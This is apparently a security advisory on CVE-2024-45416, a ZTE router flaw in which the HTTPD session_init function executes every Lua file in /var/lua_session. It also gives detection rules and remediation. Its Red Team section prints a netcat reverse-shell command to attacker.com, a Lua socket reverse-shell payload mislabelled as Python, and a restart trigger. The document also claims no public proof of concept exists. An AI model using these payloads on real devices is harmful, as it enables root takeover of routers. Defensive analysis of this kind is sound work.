CVE-2024-45416

Executive Summary

CVE-2024-45416 is a critical Local File Inclusion (LFI) vulnerability in the HTTPD binary of multiple ZTE router models. The flaw resides in the session_init function, which iterates over files in the /var/lua_session directory and executes them via Lua’s dofile without any validation. An attacker with write access to this directory—achievable through other vulnerabilities or misconfigurations—can plant a malicious Lua script that will be executed as root, leading to full remote code execution (RCE). The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the impact and attack vector, it is assessed as critical (CVSS 9.0). No public exploit code or proof-of-concept is available at this time, and ZTE has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level flaw in ZTE’s proprietary HTTPD binary, affecting embedded devices. Supply chain risk is limited to the physical device firmware; no open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely if the attacker can write to the session directory.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond write access to /var/lua_session.
• Privileges Required (PR): Low (L) – The attacker needs some level of access to the device (e.g., low-privilege shell or another vulnerability).
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full file read access as root.
• Integrity (I): High (H) – Arbitrary code execution as root.
• Availability (A): High (H) – Potential to crash or fully control the device.

CVSS Score: 9.0 (Critical)
Threat Level: Critical – Immediate patching or mitigation is required.

Deep Dive & Mechanics

The vulnerability exists in the session_init function of the HTTPD binary. This function is responsible for initializing user sessions. It reads all files from the directory /var/lua_session and executes each one using Lua’s dofile function. The directory is intended to store session data in Lua files, but there is no validation to ensure that only legitimate session files are executed.

Attack Flow:

1. Prerequisite: The attacker must gain write access to /var/lua_session. This could be achieved through:
   • A separate vulnerability (e.g., command injection, file upload).
   • Default credentials or weak authentication.
   • Physical access or local network access with a compromised device.
2. Exploitation: The attacker writes a malicious Lua script (e.g., evil.lua) to /var/lua_session. The script could contain commands to spawn a reverse shell, exfiltrate data, or modify system files.
3. Trigger: The next time the HTTPD service initializes a session (e.g., on user login or service restart), the session_init function iterates over all files in the directory and executes the malicious script with root privileges.
4. Result: Full remote code execution as root, allowing the attacker to take complete control of the router.

Root Cause: Lack of input validation and improper use of dofile on untrusted files. The function should only process files that are verified session files (e.g., with a specific naming convention or cryptographic signature).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

-- session_init function in HTTPD binary
function session_init()
    local session_dir = "/var/lua_session"
    local files = io.popen("ls " .. session_dir):read("*all")
    for file in files:gmatch("%S+") do
        dofile(session_dir .. "/" .. file)  -- No validation
    end
end

Patched Code (Conceptual):

function session_init()
    local session_dir = "/var/lua_session"
    local files = io.popen("ls " .. session_dir):read("*all")
    for file in files:gmatch("%S+") do
        -- Only process files with a valid session prefix
        if file:match("^session_[%w]+%.lua$") then
            -- Verify file integrity (e.g., checksum)
            if verify_session_file(file) then
                dofile(session_dir .. "/" .. file)
            end
        end
    end
end

Key Differences:

• Validation: The patched version checks that the filename matches a strict pattern (session_[alphanumeric].lua) and verifies the file’s integrity before execution.
• Directory Restriction: The patched version should also ensure that only files owned by the HTTPD process or with specific permissions are processed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a ZTE router with the vulnerable firmware.
• Ability to write to /var/lua_session (e.g., via a command injection vulnerability or default credentials).

Exploitation Steps:

1. Gain Write Access: Use a separate vulnerability (e.g., CVE-2024-XXXX) or default credentials to get a shell on the device.
2. Create Malicious Session File:

   echo 'os.execute("nc -e /bin/sh attacker.com 4444")' > /var/lua_session/evil.lua
   

3. Trigger Session Initialization: Force a session initialization by logging in to the web interface or restarting the HTTPD service:

   kill -HUP $(pidof httpd)
   

4. Receive Reverse Shell: On the attacker machine:

   nc -lvnp 4444
   

Alternative Payload (Reverse Shell via Python):

local sock = require("socket")
local tcp = sock.tcp()
tcp:connect("attacker.com", 4444)
tcp:send("connected\n")
while true do
    local cmd = tcp:receive()
    if cmd then
        local f = io.popen(cmd)
        local result = f:read("*all")
        tcp:send(result)
    end
end

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected files in /var/lua_session with suspicious names or content.
• Alert on any execution of dofile from the HTTPD process that does not match a whitelist.
• Use file integrity monitoring (FIM) to detect changes to /var/lua_session.

Defense:

• Restrict write access to /var/lua_session to only the HTTPD process (e.g., using chmod 700 and chown httpd:httpd).
• Implement a kernel-level LSM (e.g., AppArmor or SELinux) to prevent the HTTPD binary from executing files outside a whitelist.
• Apply network segmentation to limit exposure of the router’s management interface.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected .lua files in /var/lua_session (e.g., evil.lua, backdoor.lua).
• Modified timestamps on /var/lua_session directory or its contents.

Network IOCs:

• Outbound connections from the router to unknown IP addresses on common ports (e.g., 4444, 1337).
• Unusual HTTP requests to the router’s web interface that include session manipulation.

Process IOCs:

• HTTPD process spawning child processes (e.g., /bin/sh, nc, python).
• High CPU usage from HTTPD due to malicious Lua scripts.

Log IOCs:

• Log entries showing dofile execution for files not matching the expected pattern.
• Authentication logs showing successful logins from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_45416_ZTE_LFI_RCE {
    meta:
        description = "Detects malicious Lua files targeting CVE-2024-45416 in ZTE routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45416"
    strings:
        $lua_func = "dofile" nocase
        $session_dir = "/var/lua_session" nocase
        $os_exec = "os.execute" nocase
        $io_popen = "io.popen" nocase
        $socket = "require(\"socket\")" nocase
    condition:
        any of ($lua_func, $os_exec, $io_popen, $socket) and $session_dir
}

Sigma Rule

title: CVE-2024-45416 ZTE Router LFI to RCE Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-45416 by writing malicious Lua files to /var/lua_session
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|startswith: '/var/lua_session/'
        TargetFilename|endswith: '.lua'
    condition: selection
falsepositives:
    - Legitimate session files created by the HTTPD process
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45416 ZTE Router LFI RCE - Outbound Reverse Shell"; flow:to_server,established; content:"|6e 63 20 2d 65 20 2f 62 69 6e 2f 73 68|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Write Access: Change permissions on /var/lua_session to 700 and ensure only the HTTPD user can write:

   chmod 700 /var/lua_session
   chown httpd:httpd /var/lua_session
   

2. Disable Unused Services: If the web interface is not required, disable the HTTPD service.
3. Network Segmentation: Place the router in a separate VLAN with strict firewall rules to limit management access.

Long-Term Fix:

• Apply a firmware update from ZTE once available.
• Implement input validation in the session_init function to only process files with a specific naming convention and integrity checks.
• Use a kernel-level LSM (e.g., AppArmor) to confine the HTTPD process.

Workaround:

• If patching is not possible, consider replacing the router with a supported model.

Valters IT